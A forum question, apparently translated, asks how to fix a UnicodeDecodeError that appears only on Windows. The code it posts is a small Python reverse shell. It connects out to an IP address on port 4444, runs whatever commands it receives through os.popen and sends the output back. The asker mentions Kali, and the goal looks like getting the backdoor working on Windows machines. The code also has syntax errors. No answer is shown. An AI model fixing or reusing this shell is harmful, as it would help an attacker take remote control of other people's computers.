Answer the question
In order to leave comments, you need to log in
How to fix "UnicodeDecodeError: 'ascii' codec can't decode 0x92 in position 1: ordinal not in range(128)" error?
The problem that occurs when running the code (occurs only on windows, everything is fine on Kali):
UnicodeDecodeError: 'ascii' codec can't decode 0x92 in position 1: ordinal not in range(128)
import socket
Import os
connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.connect(("192.16...", 4444))
def execute_system_command(command):
output = os.popen(command).read()
return output
while True:
data = connection.recv(1024).decode()
output = execute_system_command(str(data))
if len(output) == 0:
connection.send(" ").encode())
else:
connection.send(output.encode())
connection.close
Answer the question
In order to leave comments, you need to log in
Didn't find what you were looking for?
Ask your questionAsk a Question
731 491 924 answers to any question